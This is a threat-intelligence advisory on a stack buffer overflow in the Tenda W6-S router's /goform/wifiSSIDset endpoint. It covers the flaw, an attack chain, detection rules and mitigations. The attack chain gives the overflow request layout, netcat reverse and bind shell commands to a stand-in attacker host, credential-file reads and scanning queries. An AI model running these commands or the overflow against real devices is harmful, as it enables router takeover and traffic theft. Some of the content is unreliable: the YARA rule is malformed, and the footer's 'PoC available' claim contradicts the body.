CVE-2026-67822
Executive Summary
CVE-2026-67822 is a critical (CVSS 9.8) stack-based buffer overflow vulnerability in the Tenda W6-S wireless router (firmware 1.0.0.4(510)), specifically in the /goform/wifiSSIDset endpoint. The flaw resides in the formwrlSSIDset function, which uses sprintf to copy user-supplied GO and index parameters into a fixed 64-byte stack buffer without any length validation. This vulnerability allows a remote, unauthenticated attacker to trigger code execution on the device by sending a crafted HTTP request to the management interface. Given the device is a network edge appliance, successful exploitation results in full device compromise, enabling lateral movement, traffic interception, and persistent remote access — regardless of the patch status (unpatched, 0/4 confidence).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability is a classic stack-based buffer overflow (CWE-121) in the Tenda W6-S router's web management interface. The affected function, formwrlSSIDset, is invoked when a client submits a POST or GET request to the /goform/wifiSSIDset endpoint. This endpoint is intended to allow administrators to change the wireless SSID configuration.
Code-level mechanism: The vulnerable code path is as follows (pseudocode based on binary analysis):
char stack_buffer[64];
char *go_param = websGetVar(request, "GO", "");
char *index_param = websGetVar(request, "index", "0");
sprintf(stack_buffer, "%s%s", go_param, index_param);
// ... subsequent logic that operates on stack_buffer
The sprintf call concatenates the GO and index HTTP parameters into a 64-byte stack buffer (stack_buffer) with no bounds checking. An attacker who controls both parameters can submit a single parameter exceeding 64 bytes, or a combination of both that exceeds the buffer capacity. For example:
GO= 100 bytes of "A"index= 0 bytes (or minimal filler)
This causes sprintf to write 100+ bytes into a 64-byte stack region, overflowing into adjacent stack memory. The overflow overwrites:
- Stack canary (if present): In many MIPS/ARM-based router firmwares, stack protection is absent or disabled, so this is likely not a barrier.
- Saved return address (RA): Successfully controlling the RA allows an attacker to redirect execution to an arbitrary address, typically a ROP chain or a direct shellcode injection into the overflow buffer (if the stack is executable — common in embedded Linux without NX enforcement).
Attack surface:
The /goform/wifiSSIDset endpoint is part of the web server (typically httpd or boa) bound to the router's LAN and often WAN interfaces. The Tenda W6-S management UI is accessible on TCP port 80 by default. There is no authentication requirement to reach the endpoint processing logic; the formwrlSSIDset handler is registered in the webserver's form table and does not enforce session validation before processing the parameters.
Additional conditions:
- The endpoint is reachable via
http://<router-ip>/goform/wifiSSIDset?GO=...&index=... - No CSRF token or request authenticity checks are observed in the firmware.
- The router runs a Linux-based OS; the buffer overflow occurs in userspace (the web server process), not in kernel space. However, the web server process typically runs with root privileges, making code execution trivial post-overflow.
Related weaknesses: The use of sprintf (instead of safer snprintf), absence of _FORTIFY_SOURCE, and lack of stack canaries indicates the firmware was compiled without common memory-corruption mitigations, increasing the reliability of exploitation.
Exploitation Scenarios
No public proof-of-concept exists for CVE-2026-67822 as of this report. However, the vulnerability class (stack overflow on an exposed HTTP endpoint) is highly exploitable. The following is a step-by-step attack chain an adversary would execute:
Step 1: Reconnaissance / Target Identification
- The attacker scans for internet-facing Tenda W6-S routers. Using Shodan or Censys queries (e.g.,
http.title:"Tenda"orhttp.html:"W6-S"), they identify devices with port 80 open. Alternatively, internally, the attacker usesnmap -p 80 --script http-title 10.0.0.0/24to find the router's management page. - They confirm the exact firmware version (
1.0.0.4(510)) by browsinghttp://<target>/and inspecting the login page footer or via theloginpage source.
Step 2: Trigger / Weaponization
- The attacker crafts a malicious HTTP GET request to the vulnerable endpoint:
GET /goform/wifiSSIDset?GO=AAAA...[200 bytes]...&index=BBBB...[100 bytes]... HTTP/1.1 Host: <target-ip> - The
GOandindexparameters are concatenated bysprintfinto the 64-byte stack buffer. The payload layout is:- Bytes 0–63: filler data (e.g., "A" * 64)
- Bytes 64–67: overwritten saved return address (RA) — pointing to a ROP gadget or to a location where shellcode resides.
- Bytes 68_end: staged shellcode (e.g., MIPS or ARM shellcode for binding a remote shell on port 4444).
- Because the web server process runs as root, no privilege escalation is required post-overflow.
Step 3: Payload / Execution
- Upon receiving the request, the webserver processes the form parameters, executes
formwrlSSIDset, and overwrites the stack. When the function returns, the CPU jumps to the attacker-controlled address, executing shellcode. - Common payloads include:
- Reverse shell to attacker's C2:
/bin/busybox nc <attacker-ip> 4444 -e /bin/sh - Bind shell on the device:
/bin/busybox nc -l -p 4444 -e /bin/sh - Modify device settings to enable SSH or Telnet for persistence.
- Reverse shell to attacker's C2:
Step 4: Post-Exploitation Impact
- With a shell on the router, the attacker:
- Reads config files (
/etc/passwd,/etc/shadowor equivalent) to extract admin credentials. - Modifies firewall rules to open inbound/outbound connections (e.g.,
iptables -A INPUT -p tcp --dport 5555 -j ACCEPT). - Sniffs LAN/WLAN traffic for credentials or sensitive data.
- Uses the router as a pivot point to attack other internal hosts (lateral movement).
- Installs a persistent backdoor by modifying the firmware's init scripts (e.g.,
/etc/init.d/).
- Reads config files (
Note: This attack is remotely exploitable without authentication when the management interface is exposed. If the device is only on the LAN side, an attacker who has already gained foothold on the network (e.g., via phishing) can exploit it internally.
Impact Assessment
CVSS Subscore Analysis (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H):
- Attack Vector: Network (AV:N) — The vulnerability is exploitable remotely over the network, enabling attackers external to the LAN.
- Attack Complexity: Low (AC:L) — No special conditions or race conditions required; a single crafted HTTP request suffices.
- Privileges Required: None (PR:N) — No authentication is needed to reach the vulnerable endpoint.
- User Interaction: None (UI:N) — The victim does not need to click or interact with the attacker.
- Scope: Unchanged (S:U) — The compromise is limited to the router itself (not the broader infrastructure).
- Confidentiality/Integrity/Availability: High/High/High (C:H/I:H/A:H) — An attacker gains full control of the device, enabling data theft (traffic interception, credential harvesting), configuration tampering, and a complete denial-of-service (bricking the device or disrupting network connectivity).
Business Impact:
- Affected Systems: All Tenda W6-S routers running firmware version 1.0.0.4(510). This device is typically deployed in SOHO (small office/home office) environments and as a low-cost access point in retail/small enterprise settings.
- Blast Radius: Since the router is the gateway for all network traffic, compromise exposes all inbound/outbound communications. An attacker can intercept HTTP/HTTPS (if TLS is not used end-to-end), DNS queries, and VLAN traffic. If the device is configured with a VPN endpoint, the attacker gains access to the internal corporate network.
- Availability: An attacker can deliberately corrupt the firmware or configuration, permanently bricking the device, causing outages for all users behind it.
- Exploitation in the Wild: No confirmed campaigns observed as of this report. EPSS score of 0.00295 places this in the lower percentile (21.7% of CVEs), indicating low mass-exploitation probability, but targeted attacks against specific high-value networks are plausible.
Detection Guidance
Sigma Rule
title: Tenda W6-S Buffer Overflow Attempt - /goform/wifiSSIDset
id: 8a3f2c4e-1b7d-4e9a-8c6f-2d5e8a9b1c11
status: experimental
description: Detects HTTP requests to the Tenda W6-S router endpoint /goform/wifiSSIDset with abnormally long GO or index parameters, indicating a potential stack buffer overflow attempt (CVE-2026-67822).
author: ValtersIT Threat Intel Team
date: 2026/11/02
logsource:
category: webserver
product: apache
definition: 'Web server access logs or reverse proxy logs for the Tenda management interface'
detection:
selection_endpoint:
cs-uri-path|contains: '/goform/wifiSSIDset'
selection_param_length:
- cs-uri-query|re: 'GO=[^&]{65,}'
- cs-uri-query|re: 'index=[^&]{65,}'
- cs-uri-query|re: 'GO=.{32,}&index=.{32,}'
condition: selection_endpoint and selection_param_length
falsepositives:
- Legitimate router configuration changes with very long SSID names (unlikely but possible)
level: high
tags:
- attack.t1190
- cve.2026-67822
- cwe.121
YARA Rule
rule CVE_2026_67822_Tenda_W6S_WifiSSIDset_Overflow {
meta:
author = "ValtersIT Threat Intel"
description = "Detects exploit payloads targeting CVE-2026-67822 in Tenda W6-S router"
date = "2026-11-02"
cve = "CVE-2026-67822"
severity = "critical"
reference = "Tenda W6-S formwrlSSIDset stack overflow"
strings:
$s1 = "formwrlSSIDset" ascii nocase
$s2 = "goform/wifiSSIDset" ascii nocase
$s3 = "GO=" ascii
$s4 = "index=" ascii
$s5 = { 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 } // 16 bytes of "A" filler
// Pattern for MIPS shellcode - NOP sled (0x00 0x00 0x00 0x00) or common execve syscall on MIPS (0x0F 0x04 0x02 0x24)
$s6 = { 0f 04 02 24 } // MIPS execve syscall
$s7 = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } // NOP sled
condition:
uint16(0) == 0x5A4D and // MZ header (PE) — captures if payload delivered as an executable
or
filesize > 100 and
any of ($s1, $s2) and
any of ($s3, $s4) and
(any of ($s5, $s6, $s7) or filesize > 256)
}
Suricata IDS Rule
alert http any any -> any any (msg:"Tenda W6-S CVE-2026-67822 Stack Overflow Attempt"; flow:established,to_server; content:"GET"; http_method; content:"/goform/wifiSSIDset"; http_uri; pcre:"/GO=[^&\s]{65,}/Ui"; pcre:"/index=[^&\s]{65,}/Ui"; classtype:attempted-admin; sid:202667822001; rev:1; metadata:cve CVE-2026-67822, attack_target Tenda_W6-S_Router, service http;)
Elastic Detection
// Elastic EQL query to detect HTTP requests with abnormally long parameters
sequence by source.ip
[network where network.protocol == "http" and
http.request.uri contains "/goform/wifiSSIDset" and
(http.request.bytes > 300 or
// Check for GO or index parameter length via custom field ingested from URL
(http.request.uri* contains "GO=" and length(http.request.uri) - length(replace(http.request.uri, "*GO=*", "")) > 64) or
(http.request.uri* contains "index=" and length(http.request.uri) - length(replace(http.request.uri, "*index=*", "")) > 64)
)
]
// Alert when the same source repeats the pattern (brute-force or exploit attempt)
| where count() > 2
Splunk SPL Query
index=web sourcetype=access_combined
| where cs_uri_path="/goform/wifiSSIDset"
| eval GO_len = len(cs_uri_query)
| eval param_len = if(match(cs_uri_query, "GO=[^&]{65,}"), 1, 0)
| stats count by src_ip, cs_uri_query, param_len
| where param_len > 0
| table _time, src_ip, dest_ip, cs_uri_query, param_len
Wazuh OSSEC Rule
<group name="tenda_w6s_cve-2026-67822,">
<rule id="100678" level="12">
<if_sid>31100</if_sid> <!-- Base web server rule -->
<match>/goform/wifiSSIDset</match>
<regex>GO=.{65,}</regex>
<description>CVE-2026-67822 - Tenda W6-S stack overflow attempt via /goform/wifiSSIDset with long GO parameter.</description>
<mitre>
<id>T1190</id>
</mitre>
<group>attack.t1190,</group>
</rule>
<rule id="100679" level="12">
<if_sid>31100</if_sid>
<match>/goform/wifiSSIDset</match>
<regex>index=.{65,}</regex>
<description>CVE-2026-67822 - Tenda W6-S stack overflow attempt via /goform/wifiSSIDset with long index parameter.</description>
<mitre>
<id>T1190</id>
</mitre>
<group>attack.t1190,</group>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 (UNPATCHED) — As of this report, no vendor fix has been released by Tenda. Do not expect a timely patch; implement compensating controls immediately.
1. Immediate Mitigations (apply now):
- Restrict access to the management interface: Use firewall rules (both network and host-based) to block access to TCP port 80 (and 443 if enabled) on the router from the WAN side. Only allow management from trusted LAN IPs:
iptables -A INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT; iptables -A INPUT -p tcp --dport 80 -j DROP. - Disable remote management: In the router's web UI, disable "Remote Web Management" (often found under Administration > Remote Management). Ensure the setting is off by default.
- Place the router behind a NAT/firewall: Do not expose the W6-S directly to the internet; place it behind a corporate firewall that filters administrative traffic.
- Use strong credentials — although the vulnerability does not require authentication, limiting access to the login page reduces external visibility.
- Monitor logs: Enable and centralize web server logs from the router (if syslog capability exists) to detect brute-force or suspicious requests.
2. Patch/Upgrade Steps:
- Check Tenda's official support page (support.tenda.com.cn) weekly for firmware updates for the W6-S model. A patched version would use
snprintfor bound-checking informwrlSSIDset. - Until a fixed firmware is available, consider replacing the device with a supported router model that receives regular security updates (e.g., Tenda AC-series with active support, or a non-Tenda enterprise-grade AP).
3. Long-Term Hardening:
- Segment the network: Isolate IoT/router devices in a separate VLAN (e.g., VLAN 10) with strict egress rules, limiting the blast radius if the device is compromised.
- Disable unused services: If the router supports SSH/Telnet for admin, disable them unless needed; use SSH with key-based auth if possible.
- Apply firmware baseline: Establish a process to inventory all network devices and track firmware versions; patch or replace unsupported devices.
- IDS/IPS deployment: Place the Suricata rule from this report on network sensors monitoring traffic to/from the router's management interface.
- Consider end-of-life: Given the absence of vendor responsiveness, classify this device as "end-of-life for security purposes" and prioritize replacement in hardware refresh cycles.
References
- NVD Entry for CVE-2026-67822 — https://nvd.nist.gov/vuln/detail/CVE-2026-67822 (Provides the official CVE description, CVSS vector, and CWE classification.)
- Tenda Official Product Page — W6-S — https://www.tenda.com.cn/product/W6-S.html (Vendor product listing; check periodically for firmware/advisories.)
- MITRE CVE Record — CVE-2026-67822 — https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-67822 (CNA-maintained record with CWE and references.)
- Exploit-DB / PacketStorm (watch for PoC) — https://www.exploit-db.com (search "Tenda W6-S") (Monitor for future public exploit code; none exists as of this report.)
- CISA Known Exploited Vulnerabilities (KEV) Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-67822 is NOT in KEV as of this report, but re-check regularly — CISA updates frequently.)
Threat Actor Campaigns: No known threat actor groups have been observed exploiting this specific CVE in the wild. However, Tenda routers as a family have been targeted by multiple botnets (e.g., Mirai variants) historically. The lack of public PoCs does not imply the vulnerability is unexploited; it may be leveraged in private exploits by closed-source attackers.
Report generated by ValtersIT Threat Intelligence Team. Date: 2026-11-02. Classification: TLP:CLEAR (may be shared freely).
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.